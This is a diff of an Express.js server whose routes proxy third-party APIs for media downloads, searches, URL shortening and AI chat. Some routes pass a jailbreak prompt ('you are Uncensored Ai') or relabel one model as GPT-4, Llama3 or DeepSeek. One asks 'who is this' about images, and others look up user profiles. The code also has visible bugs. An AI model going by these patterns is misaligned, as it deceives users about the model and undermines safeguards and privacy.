`https://img.youtube.com/vi/${getYouTubeVideoId(url)}/hqdefault.jpg`, // Get YouTube thumbnail + url: data.mediaLink + } + }); + + } catch (error) { + console.error("Error fetching YouTube MP4 data:", error.message); + return res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while processing your request." + }); + } +}); + +// Extract YouTube video ID from URL +function getYouTubeVideoId(url) { + const match = url.match(/(?:youtu\.be\/|youtube\.com\/(?:.*v=|.*\/)([^&?#]+))/); + return match ? match[1] : "default"; +} + + + + +// Facebook Video Downloader +app.get("/download/aio", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a video URL using the `url` parameter.", + }); + } + + try { + const response = await axios.get(`https://bk9.fun/download/alldownload?url=${encodeURIComponent(url)}`); + const { BK9 } = response.data; + + if (!BK9 || (!BK9.low && !BK9.high)) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "Unable to fetch the download links. Please check the video URL.", + }); + } + + // Respond with download links + res.json({ + creator: "David Cyril", + success: true, + video: { + title: BK9.title || "Unknown Title", + low_quality: BK9.low, + high_quality: BK9.high, + }, + }); + } catch (error) { + console.error("Error fetching Xnxx Downloader links:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Sticker Search Endpoint +app.get("/search/sticker", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `text` parameter.", + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/search/sticker?text=${encodeURIComponent(text)}`); + const { result } = response.data; + + if (!result || !result.sticker_url || result.sticker_url.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No stickers found for the provided query.", + }); + } + + // Format the response + res.json({ + creator: "David Cyril", + success: true, + result: { + title: result.title, + stickers: result.sticker_url, + }, + }); + } catch (error) { + console.error("Error fetching sticker search results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + +// SoundCloud Search Endpoint +app.get("/search/soundcloud", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `message` parameter.", + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/soundcloud?message=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query.", + }); + } + + // Format the response + const results = data.map((item) => ({ + title: item.judul, + link: item.link, + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results, + }); + } catch (error) { + console.error("Error fetching SoundCloud results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Wallpaper Search Endpoint +app.get("/search/wallpaper", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `text` parameter." + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/search/wallpaper?text=${encodeURIComponent(text)}`); + const { result } = response.data; + + if (!result || result.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No wallpapers found for the provided query." + }); + } + + // Format the response + const wallpapers = result.map((item) => ({ + title: item.title || "Unknown Title", + type: item.type || "Unknown Type", + source: item.source || "Unknown Source", + image: item.image + })); + + res.json({ + creator: "David Cyril", + success: true, + result: wallpapers + }); + } catch (error) { + console.error("Error fetching wallpapers:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + +// Pinterest Search Endpoint +app.get("/search/pinterest", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `text` parameter.", + }); + } + + try { + const response = await axios.get(`https://itzpire.com/search/pinterest?text=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query.", + }); + } + + // Format the response + const results = data.map((item) => ({ + uploader: item.upload_by, + fullName: item.fullname, + followers: item.followers, + caption: item.caption, + image: item.image, + source: item.source, + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results, + }); + } catch (error) { + console.error("Error fetching Pinterest results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// List of supported models +const models = [ + "deepseek-ai/DeepSeek-V3", + "deepseek-ai/DeepSeek-R1", + "mistralai/Mistral-Small-24B-Instruct-2501", + "deepseek-ai/deepseek-llm-67b-chat", + "databricks/dbrx-instruct", + "Qwen/QwQ-32B-Preview", + "NousResearch/Nous-Hermes-2-Mixtral-8x7B-DPO" +]; + + +const generateUserId = () => Math.floor(100000 + Math.random() * 900000); + +// **API Endpoint to Chat with AI** +app.get("/ai/blackbox", async (req, res) => { + const { text, model } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + // Check if model is valid, otherwise use default + const selectedModel = models.includes(model) ? model : models[0]; + const userId = generateUserId(); // Generate random User ID + + try { + const response = await axios.post(BLACKBOX_API, { + messages: [{ content: text, role: "user" }], + model: selectedModel, + max_tokens: 1024 + }, { + headers: { "Content-Type": "application/json" } + }); + + // Get AI Response + const aiResponse = response.data; + + res.json({ + creator: "David Cyril", + success: true, + model: selectedModel, + userId, + response: aiResponse + }); + } catch (error) { + console.error("Error fetching AI response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching the AI response." + }); + } +}); + +// **API Endpoint to List Available Models** +app.get("/ai/blackbox/models", (req, res) => { + res.json({ + creator: "David Cyril", + success: true, + available_models: models + }); +}); + + + +// Function to get CSRF token and cookies +async function getToken() { + try { + const response = await axios.get("https://www.gempaytopup.com"); + const cookies = response.headers["set-cookie"]; + const joinedCookies = cookies ? cookies.join("; ") : null; + + const csrfTokenMatch = response.data.match(//); + const csrfToken = csrfTokenMatch ? csrfTokenMatch[1] : null; + + if (!csrfToken || !joinedCookies) { + throw new Error("Failed to retrieve CSRF token or cookies."); + } + + return { csrfToken, joinedCookies }; + } catch (error) { + console.error("❌ Error fetching CSRF token or cookies:", error.message); + throw error; + } +} + +// Function to fetch Mobile Legends profile data +async function mlStalk(userId, zoneId) { + try { + const { csrfToken, joinedCookies } = await getToken(); + + const payload = { uid: userId, zone: zoneId }; + const { data } = await axios.post( + "https://www.gempaytopup.com/stalk-ml", + payload, { + headers: { + "X-CSRF-Token": csrfToken, + "Content-Type": "application/json", + "Cookie": joinedCookies, + }, + } + ); + + return data; + } catch (error) { + console.error("❌ Error fetching ML data:", error.message); + throw error; + } +} + +// API Endpoint +app.get("/game/mlstalk", async (req, res) => { + const { uid, zone } = req.query; + + if (!uid || !zone) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide both 'uid' and 'zone' parameters." + }); + } + + try { + const result = await mlStalk(uid, zone); + res.json({ + creator: "David Cyril", + success: true, + data: result + }); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to retrieve Mobile Legends profile data." + }); + } +}); + +app.get("/ai/gpt4", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query.", + }); + } + + try { + const apiUrl = `https://api.siputzx.my.id/api/ai/deepseek-llm-67b-chat?content=${encodeURIComponent(text)}`; + + // Fetch AI response + const response = await axios.get(apiUrl); + const { status, data } = response.data; + + if (!status || !data) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch AI response. Please try again later.", + }); + } + + // Return AI response + res.json({ + creator: "David Cyril", + success: true, + message: data, + }); + } catch (error) { + console.error("Error fetching AI response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching the AI response.", + }); + } +}); + + + + +// XVideo Downloader Endpoint +app.get("/search/xvideo", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `message` parameter." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/xvideo?message=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query." + }); + } + + // Format the response + const results = data.map((video) => ({ + title: video.title, + duration: video.duration, + quality: video.quality || "Unknown", + thumbnail: video.thumb, + url: video.url + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results + }); + } catch (error) { + console.error("Error fetching XVideo results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + +// Spotify Search Endpoint +app.get("/search/spotify", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `message` parameter." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/spotify?message=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query." + }); + } + + // Format the response + const results = data.map((track) => ({ + trackNumber: track.trackNumber, + trackName: track.trackName, + artistName: track.artistName, + albumName: track.albumName, + duration: track.duration, + previewUrl: track.previewUrl || "Not available", + externalUrl: track.externalUrl + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results + }); + } catch (error) { + console.error("Error fetching Spotify results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + +// Playstore Search Endpoint +app.get("/search/playstore", async (req, res) => { + const { q } = req.query; + + if (!q) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `q` parameter." + }); + } + + try { + const response = await axios.get(`https://bk9.fun/search/playstore?q=${encodeURIComponent(q)}`); + const { BK9 } = response.data; + + if (!BK9) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query." + }); + } + + res.json({ + creator: "David Cyril", + success: true, + result: { + title: BK9.title, + summary: BK9.summary, + installs: BK9.installs, + score: BK9.score, + price: BK9.price, + size: BK9.size, + androidVersion: BK9.androidVersion, + developer: BK9.developer, + released: BK9.released, + updated: BK9.updated, + version: BK9.version, + icon: BK9.icon, + screenshots: BK9.screenshots, + url: BK9.url + } + }); + } catch (error) { + console.error("Error fetching Playstore data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + + +app.get('/quran', async (req, res) => { + const { surah } = req.query; + + if (!surah) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide the surah name or number using the `surah` query parameter. Example: /quran?surah=1 or /quran?surah=Al-Fatiha" + }); + } + + try { + // Fetch all surah data + const surahListResponse = await axios.get('https://quran-endpoint.vercel.app/quran'); + const surahList = surahListResponse.data.data; + + // Find the requested surah + const surahData = surahList.find(s => + s.number === Number(surah) || + s.asma.ar.short.toLowerCase() === surah.toLowerCase() || + s.asma.en.short.toLowerCase() === surah.toLowerCase() + ); + + if (!surahData) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: `No surah found with the name or number "${surah}"` + }); + } + + // Fetch surah details + const surahDetailsResponse = await axios.get(`https://quran-endpoint.vercel.app/quran/${surahData.number}`); + const surahDetails = surahDetailsResponse.data.data; + + // Construct the result + const result = { + creator: "David Cyril", + success: true, + surah: { + number: surahDetails.number, + name: { + arabic: surahDetails.asma.ar.long, + english: surahDetails.asma.en.long + }, + type: surahDetails.type.en, + ayahCount: surahDetails.ayahCount, + tafsir: { + id: surahDetails.tafsir.id + }, + recitation: surahDetails.recitation.full + } + }; + + res.status(200).json(result); + } catch (error) { + console.error("Error fetching Quran data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching Quran data. Please try again later." + }); + } +}); + + + + +app.get('/bible', async (req, res) => { + const { reference } = req.query; + + if (!reference) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a reference using the `reference` query parameter. Example: /bible?reference=john 3:16" + }); + } + + try { + // Fetch Bible content from the external Bible API + const response = await axios.get(`https://bible-api.com/${encodeURIComponent(reference)}`); + const data = response.data; + + // Format the response + const result = { + creator: "David Cyril", + success: true, + reference: data.reference, + translation: data.translation_name, + verses_count: data.verses.length, + text: data.text + }; + + res.status(200).json(result); + } catch (error) { + console.error("Error fetching Bible data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching Bible content. Please check the reference and try again." + }); + } +}); + + + + + +app.get("/pinterest", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a Pinterest URL." }); + } + + try { + // Fetch data from the API + const response = await axios.get(`https://api.agatz.xyz/api/pinterest`, { + params: { url } + }); + const data = response.data; + + if (data.status !== 200) { + return res.status(500).json({ error: "Failed to fetch video." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + original_url: data.data.url, + download_url: data.data.result + }); + } catch (error) { + console.error("Error fetching Pinterest video:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/shortenUrl", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a URL to shorten." }); + } + + try { + // Fetch data from the URL shortener API + const response = await axios.get(`https://api.paxsenix.biz.id/tools/urlshorter?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (!data.ok) { + return res.status(500).json({ error: "Failed to shorten the URL. Please try again." }); + } + + // Return shortened URL details + res.json({ + creator: "David Cyril", + status: 200, + success: true, + original_url: url, + shortened_url: data.url + }); + } catch (error) { + console.error("Error shortening URL:", error.message); + res.status(500).json({ error: "Failed to shorten URL. Please try again later." }); + } +}); + + + + +app.get("/blackbox", async (req, res) => { + const { q } = req.query; + + if (!q) { + return res.status(400).json({ error: "Please provide a query using the 'q' parameter." }); + } + + try { + // Send a request to the Blackbox API + const response = await axios.get(`https://bk9.fun/ai/blackbox?q=${encodeURIComponent(q)}`); + const data = response.data; + + if (!data.status) { + return res.status(500).json({ error: "Failed to fetch response from Blackbox ." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + response: data.BK9 + }); + } catch (error) { + console.error("Error fetching Blackbox response:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/couplepp", async (req, res) => { + try { + // Send request to the API + const response = await axios.get(`https://api.maskser.me/api/randomgambar/couplepp`); + const data = response.data; + + if (!data.status) { + return res.status(500).json({ error: "Failed to fetch couple profile pictures." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + male: data.result.male, + female: data.result.female + }); + } catch (error) { + console.error("Error fetching couple profile pictures:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + + + +app.get("/imgscan", async (req, res) => { + + const q = "who is this" + const { url } = req.query; + if (!url || !q) { + return res.status(400).json({ error: "Please provide both 'url'." }); + } + + try { + // Send request to Gemini Image API + const response = await axios.get(`https://bk9.fun/ai/geminiimg`, { + params: { url, q } + }); + const data = response.data; + + if (!data.status) { + return res.status(500).json({ error: "Failed to fetch response from Gemini Image ." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + result: data.BK9 + }); + } catch (error) { + console.error("Error fetching Gemini Image response:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/twitter", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a Twitter post URL." }); + } + + try { + // Fetch data from the API + const response = await axios.get(`https://api.agatz.xyz/api/twitter?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (data.status !== 200) { + return res.status(404).json({ error: "Unable to fetch Twitter media. Please check the URL." }); + } + + // Return the extracted details + res.json({ + creator: "David Cyril", + status: 200, + success: true, + description: data.data.desc, + thumbnail: data.data.thumb, + video_sd: data.data.video_sd, + video_hd: data.data.video_hd, + audio: data.data.audio + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + + + +app.get("/gdrive", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a Google Drive URL." }); + } + + try { + // Fetch the download link from the API + const response = await axios.get(`https://api.siputzx.my.id/api/d/gdrive?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (!data.status) { + return res.status(404).json({ error: "Unable to fetch the download link. Please check the URL." }); + } + + // Return the extracted details as plain JSON + res.json({ + creator: "David Cyril", + status: 200, + success: true, + name: data.data.name, + download_link: data.data.download + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + +// Endpoint for Dare +app.get("/dare", async (req, res) => { + try { + const response = await axios.get("https://api.truthordarebot.xyz/v1/dare"); + const data = response.data; + + if (!data || !data.question) { + return res.status(500).json({ error: "Unable to fetch dare question." }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + type: "DARE", + question: data.question + }); + } catch (error) { + console.error("Error fetching dare question:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + +// Endpoint for Truth +app.get("/truth", async (req, res) => { + try { + const response = await axios.get("https://api.truthordarebot.xyz/v1/truth"); + const data = response.data; + + if (!data || !data.question) { + return res.status(500).json({ error: "Unable to fetch truth question." }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + type: "TRUTH", + question: data.question + }); + } catch (error) { + console.error("Error fetching truth question:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + + +app.get("/tiktokStalk", async (req, res) => { + const { q } = req.query; + + // Check if the `q` parameter (username) is provided + if (!q) { + return res.status(400).json({ + status: false, + creator: "David Cyril", + error: "Please provide a TikTok username in the `q` query parameter." + }); + } + + try { + // Call the BK9 TikTok stalker API + const apiUrl = `https://bk9.fun/stalk/tiktok?q=${encodeURIComponent(q)}`; + const response = await axios.get(apiUrl); + + // Check if the API response is successful + if (response.data.status) { + res.status(200).json({ + status: true, + creator: "David Cyril", + status: 200, + success: true, + profile: response.data.BK9.profile, + name: response.data.BK9.name, + username: response.data.BK9.username, + followers: response.data.BK9.followers, + following: response.data.BK9.following, + description: response.data.BK9.desc || "No description provided", + bio: response.data.BK9.bio || "No bio provided", + likes: response.data.BK9.likes + }); + } else { + res.status(404).json({ + status: false, + creator: "David Cyril", + error: "TikTok user not found." + }); + } + } catch (error) { + console.error("Error fetching TikTok user details:", error.message); + res.status(500).json({ + status: false, + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + +// Bitly Shortener +app.get("/bitly", async (req, res) => { + const { link } = req.query; + + if (!link) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a URL using the `link` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/linkshort/bitly?link=${encodeURIComponent(link)}`); + const { result } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + original_url: link, + shortened_url: result + }); + } catch (error) { + console.error("Error creating Bitly link:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a Bitly link. Please try again later." + }); + } +}); + +// Cuttly Shortener +app.get("/cuttly", async (req, res) => { + const { link } = req.query; + + if (!link) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a URL using the `link` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/linkshort/cuttly?link=${encodeURIComponent(link)}`); + const { result } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + original_url: link, + shortened_url: result + }); + } catch (error) { + console.error("Error creating Cuttly link:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a Cuttly link. Please try again later." + }); + } +}); + + +app.get("/tinyurl", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a URL using the `url` query parameter." + }); + } + + try { + // Call the TinyURL API + const response = await axios.get(`https://tinyurl.com/api-create.php?url=${encodeURIComponent(url)}`); + const tinyUrl = response.data; + + res.json({ + creator: "David Cyril", + success: true, + original_url: url, + shortened_url: tinyUrl + }); + } catch (error) { + console.error("Error creating TinyURL:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a TinyURL. Please try again later." + }); + } +}); + + +app.get("/ai/dalle", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text using the `text` query parameter." + }); + } + + try { + // Call the external DALL·E API to create a job + const response = await axios.get(`https://api.paxsenix.biz.id/ai-image/dalle?text=${encodeURIComponent(text)}`); + const { jobId } = response.data; + + if (!jobId) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to create a DALL·E job. Please try again." + }); + } + + // Poll the job status and fetch the result + const result = await pollDalleJob(jobId); + + if (result && result.url) { + // Set the Content-Type for image display and return the image + const imageResponse = await axios.get(result.url, { responseType: "arraybuffer" }); + res.set("Content-Type", "image/png"); + return res.send(imageResponse.data); + } + + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch DALL·E." + }); + } catch (error) { + console.error("Error fetching DALL·E response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch data. Please try again later." + }); + } +}); + +// Helper function to poll the job status +async function pollDalleJob(jobId, interval = 2000, maxAttempts = 15) { + let attempts = 0; + + while (attempts < maxAttempts) { + try { + const response = await axios.get(`https://api.paxsenix.biz.id/task/${jobId}`); + const { status, url } = response.data; + + if (status === "done") { + return { url }; + } + } catch (error) { + console.error("Error polling DALL·E job:", error.message); + } + + attempts++; + await new Promise((resolve) => setTimeout(resolve, interval)); // Wait before next attempt + } + + return null; // Return null if job isn't completed after max attempts +} + + +app.get("/ai/searchgpt", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text using the `text` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.paxsenix.biz.id/ai/searchgpt?text=${encodeURIComponent(text)}`); + const { message } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message + }); + } catch (error) { + console.error("Error fetching SearchGPT response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch data. Please try again later." + }); + } +}); + + + + +app.get("/ssweb", async (req, res) => { + const { url, type = "tablet" } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide the URL to screenshot using the `url` query parameter." + }); + } + + try { + // Fetch the screenshot from the external API + const response = await axios.get(`https://api.vreden.web.id/api/ssweb?url=${encodeURIComponent(url)}&type=${type}`, { + responseType: "arraybuffer" + }); + + // Set the appropriate Content-Type and send the image data directly + res.set("Content-Type", "image/png"); // Assuming the screenshot is in PNG format + res.send(response.data); + } catch (error) { + console.error("Error fetching website screenshot:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch the screenshot. Please try again later." + }); + } +}); + + + + + + + +app.get("/lyrics", async (req, res) => { + const { t: title, a: artist } = req.query; + + if (!title || !artist) { + return res.status(400).json({ + creator: "David Cyril Tech", + error: "Please provide both the title (`t`) and artist (`a`) of the song." + }); + } + + try { + const apiUrl = `https://api.paxsenix.biz.id/lyrics/genius?t=${encodeURIComponent(title)}&a=${encodeURIComponent(artist)}`; + const response = await axios.get(apiUrl); + + if (response.data.ok) { + res.status(200).json({ + creator: "David Cyril Tech", + title: title, + artist: artist, + lyrics: response.data.lyrics || "Lyrics not available", + }); + } else { + res.status(404).json({ + creator: "David Cyril Tech", + error: "Lyrics not found in the database." + }); + } + } catch (error) { + console.error("Error fetching lyrics:", error.message); + res.status(500).json({ + creator: "David Cyril Tech", + error: "An error occurred while fetching lyrics." + }); + } +}); + + +// Middleware to parse query parameters + +app.use(express.urlencoded({ extended: true })); + +// GPT-4o Mini AI Endpoint +app.get("/ai/gpt4omini", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://api.aboud-coding.store/api/ai/gpt-4o-mini-v2?prompt=${encodeURIComponent(text)}&userid=${generateRandomUserId()}` + ); + res.json({ + creator: "David Cyril", + success: true, + response: response.data.gpt + }); + } catch (error) { + console.error("Error processing GPT-4o Mini request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + + +// **GPT-4 Endpoint** +app.get("/ai/gpt44", async (req, res) => { + try { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide text for GPT-4 response.", + }); + } + + // Generate a random user ID for each request + const userId = uuidv4(); + const apiUrl = `https://bk9.fun/ai/GPT-4?q=${encodeURIComponent(text)}&userId=${encodeURIComponent(userId)}`; + + // Fetch GPT-4 response + const response = await axios.get(apiUrl); + const jsonData = response.data; + + if (jsonData.status && jsonData.BK9) { + return res.json({ + creator: "David Cyril", + success: true, + message: jsonData.BK9, + }); + } else { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch response from GPT-4 API.", + }); + } + } catch (error) { + console.error("GPT-4 API Error:", error.message); + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching GPT-4 response.", + }); + } +}); + + + + +// GPT-4o Mini AI Endpoint +app.get("ai/gpt3", async (req, res) => { + const { text } = req.query; + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://api.aboud-coding.store/api/ai/gpt-4o-mini-v2?prompt=${encodeURIComponent(text)}&userid=${generateRandomUserId()}` + ); + res.json({ + creator: "David Cyril", + success: true, + response: response.data.gpt + }); + } catch (error) { + console.error("Error processing your request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request." + }); + } +}); + + + +// Meta AI Endpoint +app.get("/ai/metaai", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Meta+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Meta AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +// Llama3 AI Endpoint +app.get("/ai/llama3", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+the+Latest+Llama3+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + message: BK9 + }); + } catch (error) { + console.error("Error processing Llama3 AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +// Llama3 AI Endpoint +app.get("/ai/uncensor", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Uncensored+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing your request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/ai/uncensor", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+Uncensored+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing your request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + + +app.get("/deepseek-llm-67b-chat", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-llm-67b-chat+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + }); + } catch (error) { + console.error("Error processing Lori AI request:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to process your request. Please try again later." + }); + } +}); + +app.get("/deepseek-v3", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + try { + const response = await axios.get( + `https://bk9.fun/ai/BK9?BK9=you+are+deepseek-v3+Ai&q=${encodeURIComponent(text)}&model=gpt4_o_mini` + ); + const { BK9 } = response.data; + + res.json({ + creator: "David Cyril", + success: true, + response: BK9 + 